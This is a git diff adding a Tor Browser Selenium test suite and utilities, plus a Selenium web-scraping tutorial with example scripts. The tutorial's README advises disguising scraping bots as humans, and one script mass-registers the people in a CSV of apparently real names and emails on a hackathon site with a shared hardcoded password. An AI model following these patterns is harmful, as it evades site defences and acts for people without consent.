+    def test_should_raise_for_invalid_pref_dict(self):
+        with self.assertRaises(AttributeError):
+            TorBrowserDriver(TBB_PATH, pref_dict="foo")
+        with self.assertRaises(AttributeError):
+            TorBrowserDriver(TBB_PATH, pref_dict=[1, 2])
+        with self.assertRaises(AttributeError):
+            TorBrowserDriver(TBB_PATH, pref_dict=(1, 2))
+
+    def test_should_fail_launching_tbb_tor_on_custom_socks_port(self):
+        with self.assertRaises(TBDriverPortError):
+            TorBrowserDriver(TBB_PATH, socks_port=free_port(),
+                             tor_cfg=cm.LAUNCH_NEW_TBB_TOR)
+
+    def test_should_fail_launching_tbb_tor_on_used_socks_port(self):
+        self.occupy_port(cm.DEFAULT_SOCKS_PORT)
+        with self.assertRaises(TBDriverPortError) as exc:
+            TorBrowserDriver(TBB_PATH,
+                             socks_port=cm.DEFAULT_SOCKS_PORT,
+                             tor_cfg=cm.LAUNCH_NEW_TBB_TOR)
+        self.assertEqual(str(exc.exception),
+                         "SOCKS port %s is already in use"
+                         % cm.DEFAULT_SOCKS_PORT)
+
+    def test_should_fail_launching_tbb_tor_on_used_control_port(self):
+        self.occupy_port(cm.DEFAULT_CONTROL_PORT)
+        with self.assertRaises(TBDriverPortError) as exc:
+            TorBrowserDriver(TBB_PATH,
+                             control_port=cm.DEFAULT_CONTROL_PORT,
+                             tor_cfg=cm.LAUNCH_NEW_TBB_TOR)
+        self.assertEqual(str(exc.exception),
+                         "Control port %s is already in use"
+                         % cm.DEFAULT_CONTROL_PORT)
+
+    def test_should_not_load_with_wrong_sys_socks_port(self):
+        socks_port = free_port()
+        with self.assertRaises(TBDriverPortError) as exc:
+            TorBrowserDriver(TBB_PATH, socks_port=socks_port,
+                             tor_cfg=cm.USE_RUNNING_TOR)
+
+        self.assertEqual(str(exc.exception),
+                         "SOCKS port %s is not listening" % socks_port)
+
+    def test_should_raise_for_invalid_tor_config(self):
+        with self.assertRaises(TBDriverConfigError):
+            TorBrowserDriver(TBB_PATH, tor_cfg=-1)
+
+    def test_fixture_should_raise_for_invalid_tor_config(self):
+        with self.assertRaises(TBDriverConfigError):
+            TBDriverFixture(TBB_PATH, tor_cfg=-1)
+
+    def test_should_raise_for_stem(self):
+        temp_dir = tempfile.mkdtemp()
+        with self.assertRaises(StemLaunchError):
+            launch_tbb_tor_with_stem()
+        with self.assertRaises(StemLaunchError):
+            launch_tbb_tor_with_stem(tbb_path="", tor_binary="")
+        with self.assertRaises(StemLaunchError):
+            launch_tbb_tor_with_stem(tbb_path=temp_dir, tor_binary="")
+
+    def test_missing_browser(self):
+        driver = TBDriverFixture(TBB_PATH)
+
+        tempfolder = driver.profile.tempfolder
+        profile_path = driver.profile.path
+
+        self.assertTrue(isdir(tempfolder))
+        self.assertTrue(isdir(profile_path))
+        # kill the browser process
+        driver.binary.kill()
+
+        driver.quit()
+        self.assertFalse(isdir(profile_path))
+        self.assertFalse(isdir(tempfolder))
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_js_disable.py b/tor-browser-selenium/tbselenium/test/test_js_disable.py
new file mode 100644
index 00000000..ce109934
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_js_disable.py
@@ -0,0 +1,28 @@
+import unittest
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium.test import TBB_PATH
+from tbselenium.common import CHECK_TPO_URL
+from selenium.common.exceptions import NoSuchElementException, TimeoutException
+from selenium.webdriver.common.by import By
+
+
+class JSDisableTest(unittest.TestCase):
+
+    def test_disable_js(self):
+        # Disable javascript using the noscript pref
+        # if we don't set torbutton.security_custom to True, torbutton
+        # security slider will overwrite our modification and enable JS
+        pref_dict = {"noscript.global": False,
+                     "extensions.torbutton.security_custom": True}
+        with TBDriverFixture(TBB_PATH, pref_dict=pref_dict) as driver:
+            driver.load_url_ensure(CHECK_TPO_URL)
+            try:
+                driver.find_element_by("JavaScript is enabled.",
+                                       find_by=By.LINK_TEXT, timeout=5)
+                self.fail("JavaScript is not disabled")
+            except (NoSuchElementException, TimeoutException):
+                pass
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_screenshot.py b/tor-browser-selenium/tbselenium/test/test_screenshot.py
new file mode 100644
index 00000000..63a9d3c0
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_screenshot.py
@@ -0,0 +1,47 @@
+import unittest
+import tempfile
+from os import remove
+from os.path import getsize, exists
+
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+
+# A blank image for https://check.torproject.org/ amounts to ~4.8KB.
+# A real screen capture of the same page is ~57KB. If the capture
+# is not blank it should be at least greater than 20KB.
+SCREENSHOT_MIN_SIZE = 2000
+
+
+class ScreenshotTest(unittest.TestCase):
+
+    @classmethod
+    def setUpClass(cls):
+        _, cls.temp_file = tempfile.mkstemp()
+        # Passing canvas_allowed_hosts is not needed for TBB >= 4.5a3
+        canvas_allowed = [cm.CHECK_TPO_HOST]
+        cls.driver = TBDriverFixture(TBB_PATH,
+                                     canvas_allowed_hosts=canvas_allowed)
+        cls.driver.load_url_ensure(cm.CHECK_TPO_URL, 3)
+
+    @classmethod
+    def tearDownClass(cls):
+        if exists(cls.temp_file):
+            remove(cls.temp_file)
+        cls.driver.quit()
+
+    def test_screenshot_as_file(self):
+        self.driver.get_screenshot_as_file(self.temp_file)
+        self.assertGreater(getsize(self.temp_file), SCREENSHOT_MIN_SIZE)
+
+    def test_screenshot_as_base64(self):
+        base64_img = self.driver.get_screenshot_as_base64()
+        self.assertGreater(len(base64_img), SCREENSHOT_MIN_SIZE)
+
+    def test_screenshot_as_png(self):
+        png_data = self.driver.get_screenshot_as_png()
+        self.assertGreater(len(png_data), SCREENSHOT_MIN_SIZE)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_security_slider.py b/tor-browser-selenium/tbselenium/test/test_security_slider.py
new file mode 100644
index 00000000..b39bc41b
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_security_slider.py
@@ -0,0 +1,44 @@
+import unittest
+import pytest
+
+from selenium.common.exceptions import NoSuchElementException, TimeoutException
+from selenium.webdriver.common.by import By
+
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+
+SEC_SLIDER_PREF = "extensions.torbutton.security_slider"
+
+
+class TBSecuritySlider(unittest.TestCase):
+
+    def test_security_slider_settings_hi(self):
+        """Slider setting `High` should disable JavaScript."""
+        with TBDriverFixture(TBB_PATH,
+                             pref_dict={SEC_SLIDER_PREF: 1}) as driver:
+            if not driver.supports_sec_slider:
+                pytest.skip("Security slider is not supported")
+            driver.load_url_ensure(cm.CHECK_TPO_URL)
+            try:
+                driver.find_element_by("JavaScript is enabled.",
+                                       find_by=By.LINK_TEXT, timeout=5)
+                self.fail("Security slider should disable JavaScript")
+            except (NoSuchElementException, TimeoutException):
+                pass
+
+    def test_security_slider_settings_low_mid(self):
+        # TODO: test other features to distinguish between levels
+        # 2: medium-high, 3: medium-low, 4: low (default)
+        for sec_slider_setting in [2, 3, 4]:
+            slider_dict = {SEC_SLIDER_PREF: sec_slider_setting}
+            with TBDriverFixture(TBB_PATH, pref_dict=slider_dict) as driver:
+                if not driver.supports_sec_slider:
+                    pytest.skip("Security slider is not supported")
+                driver.load_url_ensure(cm.CHECK_TPO_URL)
+                driver.find_element_by("JavaScript is enabled.",
+                                       find_by=By.LINK_TEXT, timeout=5)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_stem.py b/tor-browser-selenium/tbselenium/test/test_stem.py
new file mode 100644
index 00000000..1f351bb8
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_stem.py
@@ -0,0 +1,48 @@
+import unittest
+import pytest
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium.test.fixtures import launch_tbb_tor_with_stem_fixture
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+
+try:
+    from stem.control import Controller
+except ImportError as err:
+    pytest.skip("Can't import Stem. Skipping test: %s" % err)
+
+
+class TBStemTest(unittest.TestCase):
+
+    @classmethod
+    def setUpClass(cls):
+        super(TBStemTest, cls).setUpClass()
+        cls.tor_process = launch_tbb_tor_with_stem_fixture(tbb_path=TBB_PATH)
+        cls.controller = Controller.from_port(port=cm.STEM_CONTROL_PORT)
+        cls.controller.authenticate()
+        cls.driver = TBDriverFixture(TBB_PATH,
+                                     tor_cfg=cm.USE_RUNNING_TOR,
+                                     socks_port=cm.STEM_SOCKS_PORT,
+                                     control_port=cm.STEM_CONTROL_PORT)
+
+    @classmethod
+    def tearDownClass(cls):
+        cls.driver.quit()
+        cls.controller.close()
+        if cls.tor_process:
+            cls.tor_process.kill()
+
+    def test_should_add_custom_ports_to_fx_banned_ports(self):
+        for pref in cm.PORT_BAN_PREFS:
+            banned_ports = self.driver.profile.default_preferences[pref]
+            self.assertIn(str(cm.STEM_SOCKS_PORT), banned_ports)
+            self.assertIn(str(cm.STEM_CONTROL_PORT), banned_ports)
+
+    def test_running_with_stem(self):
+        driver = self.driver
+        driver.load_url_ensure(cm.CHECK_TPO_URL)
+        driver.find_element_by("h1.on")
+        ccts = self.controller.get_circuits()
+        self.assertGreater(len(ccts), 0)
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_tbdriver.py b/tor-browser-selenium/tbselenium/test/test_tbdriver.py
new file mode 100644
index 00000000..ce92fd11
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_tbdriver.py
@@ -0,0 +1,91 @@
+import tempfile
+import unittest
+import pytest
+from os import environ
+from os.path import join, isdir, getmtime
+
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+from tbselenium.test.fixtures import TBDriverFixture
+
+
+class TBDriverTest(unittest.TestCase):
+    def setUp(self):
+        self.tb_driver = TBDriverFixture(TBB_PATH)
+
+    def tearDown(self):
+        self.tb_driver.quit()
+
+    def test_should_load_check_tpo(self):
+        congrats = "Congratulations. This browser is configured to use Tor."
+        self.tb_driver.load_url_ensure(cm.CHECK_TPO_URL)
+        status = self.tb_driver.find_element_by("h1.on")
+        self.assertEqual(status.text, congrats)
+
+    def test_should_load_hidden_service(self):
+        self.tb_driver.load_url_ensure("http://3g2upl4pq6kufc4m.onion")
+        self.assertIn("DuckDuckGo", self.tb_driver.title)
+
+    def test_should_check_environ_in_prepend(self):
+        self.tb_driver.quit()
+        self.tb_driver = TBDriverFixture(TBB_PATH)
+        paths = environ["PATH"].split(':')
+        tbbpath_count = paths.count(self.tb_driver.tbb_browser_dir)
+        self.assertEqual(tbbpath_count, 1)
+
+
+class TBDriverCleanUp(unittest.TestCase):
+    def setUp(self):
+        self.tb_driver = TBDriverFixture(TBB_PATH)
+
+    def test_browser_process_should_be_terminated_after_quit(self):
+        driver = self.tb_driver
+        fx_process = driver.binary.process
+        self.assertEqual(fx_process.poll(), None)
+        driver.quit()
+        self.assertNotEqual(fx_process.poll(), None)
+
+    def test_profile_dirs_should_be_removed(self):
+        driver = self.tb_driver
+        tempfolder = driver.profile.tempfolder
+        profile_path = driver.profile.path
+
+        self.assertTrue(isdir(tempfolder))
+        self.assertTrue(isdir(profile_path))
+        driver.quit()
+        self.assertFalse(isdir(profile_path))
+        self.assertFalse(isdir(tempfolder))
+
+
+class TBDriverTorDataDir(unittest.TestCase):
+
+    TOR_DATA_PATH = join(TBB_PATH, cm.DEFAULT_TOR_DATA_PATH)
+
+    @pytest.mark.skipif(cm.TRAVIS, reason="Requires Tor bootstrap,"
+                        "unreliable on Travis")
+    def test_temp_tor_data_dir(self):
+        """Tor data directory in TBB should not be modified if
+        we use a separate tor_data_dir.
+        """
+        tmp_dir = tempfile.mkdtemp()
+        mod_time_before = getmtime(self.TOR_DATA_PATH)
+
+        with TBDriverFixture(TBB_PATH, tor_data_dir=tmp_dir,
+                             tor_cfg=cm.LAUNCH_NEW_TBB_TOR) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL)
+        mod_time_after = getmtime(self.TOR_DATA_PATH)
+        self.assertEqual(mod_time_before, mod_time_after)
+
+    @pytest.mark.skipif(cm.TRAVIS, reason="Requires Tor bootstrap,"
+                        "unreliable on Travis")
+    def test_non_temp_tor_data_dir(self):
+        """Tor data directory in TBB should be modified if we don't
+        use a separate tor_data_dir.
+        """
+        mod_time_before = getmtime(self.TOR_DATA_PATH)
+
+        with TBDriverFixture(TBB_PATH,
+                             tor_cfg=cm.LAUNCH_NEW_TBB_TOR) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL)
+        mod_time_after = getmtime(self.TOR_DATA_PATH)
+        self.assertNotEqual(mod_time_before, mod_time_after)
diff --git a/tor-browser-selenium/tbselenium/test/test_tor.py b/tor-browser-selenium/tbselenium/test/test_tor.py
new file mode 100644
index 00000000..97e59692
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_tor.py
@@ -0,0 +1,24 @@
+import unittest
+import pytest
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium.utils import is_busy
+from tbselenium.test import TBB_PATH
+import tbselenium.common as cm
+
+
+class Test(unittest.TestCase):
+
+    def test_running_with_system_tor(self):
+        if not is_busy(cm.DEFAULT_SOCKS_PORT):
+            if cm.TRAVIS:  # Tor should be running on CI
+                self.fail("Skipping. Start system Tor to run this test.")
+            else:
+                pytest.skip("Skipping. Start the system Tor to run this test.")
+
+        with TBDriverFixture(TBB_PATH, tor_cfg=cm.USE_RUNNING_TOR) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL)
+            driver.find_element_by("h1.on")
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_utils.py b/tor-browser-selenium/tbselenium/test/test_utils.py
new file mode 100644
index 00000000..7bda000b
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_utils.py
@@ -0,0 +1,30 @@
+import unittest
+import tbselenium.utils as ut
+from os.path import realpath
+from os import environ
+
+
+class UtilsTest(unittest.TestCase):
+    def test_read_file(self):
+        file_content = ut.read_file(realpath(__file__))
+        self.assertIn('whatever written here', file_content)
+
+    def test_prepend_to_env_var(self):
+        env_var_name = "foo"
+        value1 = "bar"
+        value2 = "baz"
+
+        environ[env_var_name] = value2
+        ut.prepend_to_env_var(env_var_name, value1)
+        self.assertEqual(environ[env_var_name], ":".join([value1, value2]))
+
+        environ[env_var_name] = ""
+
+        ut.prepend_to_env_var(env_var_name, value1)
+        self.assertEqual(environ[env_var_name], value1)
+
+        ut.prepend_to_env_var("non_existent_env_var", value1)
+        self.assertEqual(environ["non_existent_env_var"], value1)
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/utils.py b/tor-browser-selenium/tbselenium/utils.py
new file mode 100644
index 00000000..ef8f8bc2
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/utils.py
@@ -0,0 +1,114 @@
+import sqlite3
+import tempfile
+import tbselenium.common as cm
+from os import environ
+from os.path import dirname, isfile, join
+from tbselenium.exceptions import StemLaunchError
+from selenium.webdriver.common.utils import is_connectable
+
+try:  # only needed for tests
+    from pyvirtualdisplay import Display
+except ImportError:
+    pass
+
+try:  # only needed for tests and examples
+    from stem.process import launch_tor_with_config
+except ImportError:
+    pass
+
+# Default dimensions for the virtual display
+DEFAULT_XVFB_WIN_W = 1280
+DEFAULT_XVFB_WIN_H = 800
+
+
+def start_xvfb(win_width=DEFAULT_XVFB_WIN_W,
+               win_height=DEFAULT_XVFB_WIN_H):
+    """Start and return virtual display using XVFB."""
+    xvfb_display = Display(visible=0, size=(win_width, win_height))
+    xvfb_display.start()
+    return xvfb_display
+
+
+def stop_xvfb(xvfb_display):
+    """Stop the given virtual display."""
+    if xvfb_display:
+        xvfb_display.stop()
+
+
+def is_busy(port_no):
+    """Return True if port is already in use."""
+    return is_connectable(port_no)
+
+
+def prepend_to_env_var(env_var, new_value):
+    """Add the given value to the beginning of the environment var."""
+    if environ.get(env_var, None):
+        if new_value not in environ[env_var].split(':'):
+            environ[env_var] = "%s:%s" % (new_value, environ[env_var])
+    else:
+        environ[env_var] = new_value
+
+
+def read_file(file_path, mode='rU'):
+    """Read and return file content."""
+    with open(file_path, mode) as f:
+        content = f.read()
+    return content
+
+
+def launch_tbb_tor_with_stem(tbb_path=None, torrc=None, tor_binary=None):
+    """Launch the Tor binary in tbb_path using Stem."""
+    if not (tor_binary or tbb_path):
+        raise StemLaunchError("Either pass tbb_path or tor_binary")
+    if not tor_binary and tbb_path:
+        tor_binary = join(tbb_path, cm.DEFAULT_TOR_BINARY_PATH)
+    if not isfile(tor_binary):
+        raise StemLaunchError("Invalid Tor binary")
+
+    prepend_to_env_var("LD_LIBRARY_PATH", dirname(tor_binary))
+    temp_data_dir = tempfile.mkdtemp()
+    if torrc is None:
+        torrc = {'ControlPort': str(cm.STEM_CONTROL_PORT),
+                 'SOCKSPort': str(cm.STEM_SOCKS_PORT),
+                 'DataDirectory': temp_data_dir}
+
+    return launch_tor_with_config(config=torrc, tor_cmd=tor_binary)
+
+
+def add_canvas_permission(profile_path, canvas_allowed_hosts):
+    """Create a permission db (permissions.sqlite) and add
+    exceptions for the canvas image extraction for the given domains.
+    If we don't add permissions, screenshots taken by TBB < 4.5a3 will be
+    blank images due to the canvas fingerprinting defense in the Tor
+    Browser.
+
+    Canvas permission is only needed for TBB < 4.5a3.
+
+    With TBB versions >= 4.5a3, chrome scripts are exempted from the
+    canvas permission, so Selenium code that grabs the canvas image (which
+    should appear as a chrome script) does not require a separate
+    permission.
+
+    See, https://trac.torproject.org/projects/tor/ticket/13439
+    """
+    connect_to_db = sqlite3.connect
+    perm_db = connect_to_db(join(profile_path, "permissions.sqlite"))
+    cursor = perm_db.cursor()
+    # http://mxr.mozilla.org/mozilla-esr31/source/build/automation.py.in
+    cursor.execute("PRAGMA user_version=3")
+    cursor.execute("""CREATE TABLE IF NOT EXISTS moz_hosts (
+      id INTEGER PRIMARY KEY,
+      host TEXT,
+      type TEXT,
+      permission INTEGER,
+      expireType INTEGER,
+      expireTime INTEGER,
+      appId INTEGER,
+      isInBrowserElement INTEGER)""")
+    for host in canvas_allowed_hosts:
+        if host:
+            qry = """INSERT INTO 'moz_hosts'
+            VALUES(NULL,'%s','canvas/extractData',1,0,0,0,0);""" % host
+            cursor.execute(qry)
+    perm_db.commit()
+    cursor.close()
diff --git a/tor-browser-selenium/travis.sh b/tor-browser-selenium/travis.sh
new file mode 100755
index 00000000..9b49c3e6
--- /dev/null
+++ b/tor-browser-selenium/travis.sh
@@ -0,0 +1,7 @@
+#!/bin/bash
+killall tor
+mkdir -p ${DOWNLOAD_DIR}
+echo $VERSION_ARCH
+echo ${TBB_ARCHIVE_URL}/${VERSION_ARCH}
+[ ! -e ${DOWNLOAD_DIR}/$TARBALL ] && wget -P ${DOWNLOAD_DIR} ${TBB_ARCHIVE_URL}/${VERSION_ARCH}
+tar -xf ${DOWNLOAD_DIR}/$TARBALL -C $HOME
diff --git a/webscraping-selenium/.gitignore b/webscraping-selenium/.gitignore
new file mode 100644
index 00000000..0d1c3c57
--- /dev/null
+++ b/webscraping-selenium/.gitignore
@@ -0,0 +1,61 @@
+### Python template
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+.idea
+# Distribution / packaging
+.Python
+env/
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib/
+lib64/
+parts/
+sdist/
+var/
+*.egg-info/
+.installed.cfg
+*.egg
+
+# PyInstaller
+#  Usually these files are written by a python script from a template
+#  before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*,cover
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+target/
+
+# Created by .ignore support plugin (hsz.mobi)
diff --git a/webscraping-selenium/README.md b/webscraping-selenium/README.md
new file mode 100644
index 00000000..720ede36
--- /dev/null
+++ b/webscraping-selenium/README.md
@@ -0,0 +1,68 @@
+# Web-Scraping using Selenium
+
+# What is the need of Selenium?
+
+Some websites don't like to be scrapped and in that case you need to disguise your webscraping bot as a Human Being.
+
+
+# What is locator or css selector or xpath?
+
+Locator can be termed as an address that identifies a web element uniquely within the webpage. Locators are the HTML
+properties of a web element which tells the Selenium about the web element it need to perform action on.
+
+There is a diverse range of web elements. The most common amongst them are:
+
+Text box
+Button
+Drop Down
+Hyperlink
+Check Box
+Radio Button
+
+Types of Locators in Selenium
+
+Photo Credit - www.softwaretestinghelp.com
+
+![Locators in Selenium](http://cdn2.softwaretestinghelp.com/wp-content/qa/uploads/2014/10/Types-of-Locators-in-Selenium-1.jpg)
+
+
+**XPATH**
+
+Xpath is used to locate a web element based on its XML path. XML stands 
+for Extensible Markup Language and is used to store, organize and transport 
+arbitrary data. It stores data in a key-value pair which is very much similar 
+to HTML tags. Both being mark up languages and since they fall under the same 
+umbrella, xpath can be used to locate HTML elements.
+
+The fundamental behind locating elements using Xpath is the traversing between 
+various elements across the entire page and thus enabling a user to find an element with the reference of another element.
+
+**CSS-Selector**
+
+CSS Selector is combination of an element selector and a selector value which identifies the web element within a web page. 
+The composite of element selector and selector value is known as Selector Pattern.
+
+Photo-Credit - www.softwaretestinghelp.com
+
+Primitive types of CSS Selector
+
+![](http://cdn2.softwaretestinghelp.com/wp-content/qa/uploads/2014/10/Using-CSS-Selector-as-a-Locator.jpg)
+
+[Different Types of CSS Selector](http://www.w3schools.com/cssref/css_selectors.asp)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/webscraping-selenium/automate your hack nyu form/__init__.py b/webscraping-selenium/automate your hack nyu form/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/webscraping-selenium/automate your hack nyu form/data1.csv b/webscraping-selenium/automate your hack nyu form/data1.csv
new file mode 100644
index 00000000..036a6372
--- /dev/null
+++ b/webscraping-selenium/automate your hack nyu form/data1.csv	
@@ -0,0 +1,5 @@
+first_name,last_name,email_id
+Terri, Burns, terri.burns@nyu.edu
+Freia, Lobo, freia@nyu.edu
+jhishan, khan, jhishan@nyu.edu
+
diff --git a/webscraping-selenium/automate your hack nyu form/fill_up_nyu.py b/webscraping-selenium/automate your hack nyu form/fill_up_nyu.py
new file mode 100644
index 00000000..305287b1
--- /dev/null
+++ b/webscraping-selenium/automate your hack nyu form/fill_up_nyu.py	
@@ -0,0 +1,43 @@
+from selenium import webdriver
+from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
+from selenium.webdriver.common.by import By
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+import csv
+from time import sleep
+
+
+# set the scrolling behavior to down
+DesiredCapabilities.FIREFOX["elementScrollBehavior"] = 1
+
+
+def fill_up_hack_nyu(student):
+    """ automate your hack nyu form using selenium"""
+    driver = webdriver.Firefox()
+    wait = WebDriverWait(driver, 10)
+    # load the page
+    driver.get("http://hacknyu.org/signup")
+    # get the form element
+    form = driver.find_element_by_css_selector("form[name='signupForm']")
+    # fill the fields
+    form.find_element_by_css_selector("input[name='firstName']").send_keys(student['first_name'])
+    form.find_element_by_css_selector("input[name='lastName']").send_keys(student['last_name'])
+    form.find_element_by_css_selector("input[name='email']").send_keys(student['email_id'])
+    form.find_element_by_css_selector("input[name='password']").send_keys("technyu")
+    # click and accept terms
+    form.find_element_by_xpath("//input[@name='terms']/..").click()
+    wait.until(EC.presence_of_element_located((By.XPATH, "//button[.='Accept']"))).click()
+    wait.until_not(EC.presence_of_element_located((By.CSS_SELECTOR, ".modal")))
+    # click on submit
+    form.find_element_by_css_selector("button[type='submit']").click()
+    driver.quit()
+
+
+def read_csv_files():
+    with open('data1.csv', 'r+') as data_file:
+        data = csv.DictReader(data_file)
+        for row in data:
+            fill_up_hack_nyu(row)
+            sleep(1)
+
+read_csv_files()
diff --git a/webscraping-selenium/automate your hack nyu form/hack_nyu.py b/webscraping-selenium/automate your hack nyu form/hack_nyu.py
new file mode 100644
index 00000000..8a3d02b5
--- /dev/null
+++ b/webscraping-selenium/automate your hack nyu form/hack_nyu.py	
@@ -0,0 +1,8 @@
+class HackNNYU(object):
+    first_name = 'input[ng-model="credentials.first_name"]'
+    last_name = 'input[ng-model="credentials.last_name"]'
+    email = '.col-sm-12>input[ng-model="credentials.email"]'
+    password = '.col-sm-12>input[ng-model="credentials.password"]'
+    agree_checkbox = '.ng-binding>input[ng-model="checkModel"]'
+    sign_up_button = 'div>button[type="submit"]'
+    accept_button = 'button[ng-click="positive()"]'
diff --git a/webscraping-selenium/download all django videos/__init__.py b/webscraping-selenium/download all django videos/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/webscraping-selenium/download all django videos/download_videos_godjango.py b/webscraping-selenium/download all django videos/download_videos_godjango.py
new file mode 100644
index 00000000..a07a415f
--- /dev/null
+++ b/webscraping-selenium/download all django videos/download_videos_godjango.py	
@@ -0,0 +1,31 @@
+from selenium import webdriver
+from go_django import GoDjango
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.common.by import By
+from time import sleep
+
+
+def download_videos():
+    """ download all videos from www.godjango.com """
+    driver = webdriver.Firefox()
+    driver.get('https://godjango.com/browse/')
+    WebDriverWait(driver, 30).until(EC.element_to_be_clickable((By.CSS_SELECTOR, GoDjango.first_video_title)))
+    while True:
+        for element in range(0, 10):
+            all_video_elements = driver.find_elements_by_css_selector(GoDjango.first_video_title)
+            all_video_elements[element].click()
+            try:
+                print driver.find_element_by_css_selector(GoDjango.video_download_link).get_attribute('src')
+            except:
+                print "Video is private"
+            driver.execute_script("window.history.go(-1)")
+            driver.execute_script("window.scrollTo(0, 465);")
+        driver.execute_script("window.scrollTo(0, 4650);")
+        sleep(1)
+        driver.find_element_by_css_selector(GoDjango.next_button_click).click()
+    driver.quit()
+
+if __name__ == '__main__':
+    download_videos()
+
diff --git a/webscraping-selenium/download all django videos/go_django.py b/webscraping-selenium/download all django videos/go_django.py
new file mode 100644
index 00000000..749d9b4b
--- /dev/null
+++ b/webscraping-selenium/download all django videos/go_django.py	
@@ -0,0 +1,6 @@
+class GoDjango(object):
+    pro_video_tag = '.media.episode-list-item.padding-15 div div span'
+    video_container = '.media.episode-list-item.padding-15'
+    first_video_title = 'h4[class="media-heading"] a'
+    next_button_click = 'li[class="active"] + li a'
+    video_download_link = 'div[class="video-description"] + iframe'
diff --git a/webscraping-selenium/html dom tree.png b/webscraping-selenium/html dom tree.png
new file mode 100644
index 0000000000000000000000000000000000000000..6762e7eed1140d0f280cb5b7662da4cd31926991
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diff --git a/webscraping-selenium/identify xpath.md b/webscraping-selenium/identify xpath.md
new file mode 100644
index 00000000..06b5f42b
--- /dev/null
+++ b/webscraping-selenium/identify xpath.md	
@@ -0,0 +1,67 @@
+XPath locator examples
+
+To find the link in this page:
+
+    <html><body>
+    <p>The fox jumped over the lazy brown <a href="dogs.html">dog</a>.</p>
+    </body></html>
+
+A raw XPath traverses the hierarchy from the root element of the document (page) to the desired element:
+
+    /html/body/p/a
+
+ 
+Child of Element ID
+
+XPath can find an element by ID like this:
+
+    //*[@id="element_id"]
+
+So if you need to find an element that is near another element with an ID, like the link in this example:
+
+    <html><body>
+    <p id="fox">The fox jumped over the lazy brown <a href="dogs.html">dog</a>.</p>
+    </body></html>
+
+you could try an XPath like this to find the first link that is a child of the element with ID=”fox”:
+
+    //*[@id="fox"]/a
+
+ 
+Button Text
+
+There are two ways to declare a standard button in HTML, discounting the many ways to make something that looks like a button, but is not. To determine how an element is declared in the HTML, see how to inspect an element in the browser.
+
+If the button is declared with the <button> tag and the button says “press me”, try this:
+
+    //button(contains(., 'press me')]
+
+If the button is a form submit button (declared with the <input> tag and type=”submit” or =”button”) and says “press me”, try this:
+
+    //input[@value='press me']
+
+ 
+Text of element
+
+Sometimes a bit of text is styled as a link or button. To find it, try this:
+
+    //*[text()='the visible text']
+
+ 
+The Nth element
+
+To find the Nth element, you must surround your XPath in ()s and then specify the Nth using [n], like this:
+
+    (xpath)[n]
+
+A very simple example – find the 3rd link on a page:
+
+    (//a)[3]
+
+To find the 4rd text input field on a page:
+
+    (//input[@type="text"])[4]
+
+You can also traverse from the indexed element. So, to find the link in the 2nd div with class ‘abc’:
+
+    (//div[@class='abc'])[2]/a
\ No newline at end of file
diff --git a/webscraping-selenium/scrape all donald trump quotes/__init__.py b/webscraping-selenium/scrape all donald trump quotes/__init__.py
new file mode 100644
index 00000000..e69de29b
diff --git a/webscraping-selenium/scrape all donald trump quotes/brain_quote_page.py b/webscraping-selenium/scrape all donald trump quotes/brain_quote_page.py
new file mode 100644
index 00000000..70b9b6c5
--- /dev/null
+++ b/webscraping-selenium/scrape all donald trump quotes/brain_quote_page.py	
@@ -0,0 +1,5 @@
+
+class BrainQuotePage(object):
+    donald_trump_quotes = 'span[class="bqQuoteLink"]'
+    donald_trump_links = 'span[class="bqQuoteLink"] a'
+    donald_trump_next_page = '.pagination-sm .active + li a  '
diff --git a/webscraping-selenium/scrape all donald trump quotes/extract_donald_trump_quotes.py b/webscraping-selenium/scrape all donald trump quotes/extract_donald_trump_quotes.py
new file mode 100644
index 00000000..a289c90f
--- /dev/null
+++ b/webscraping-selenium/scrape all donald trump quotes/extract_donald_trump_quotes.py	
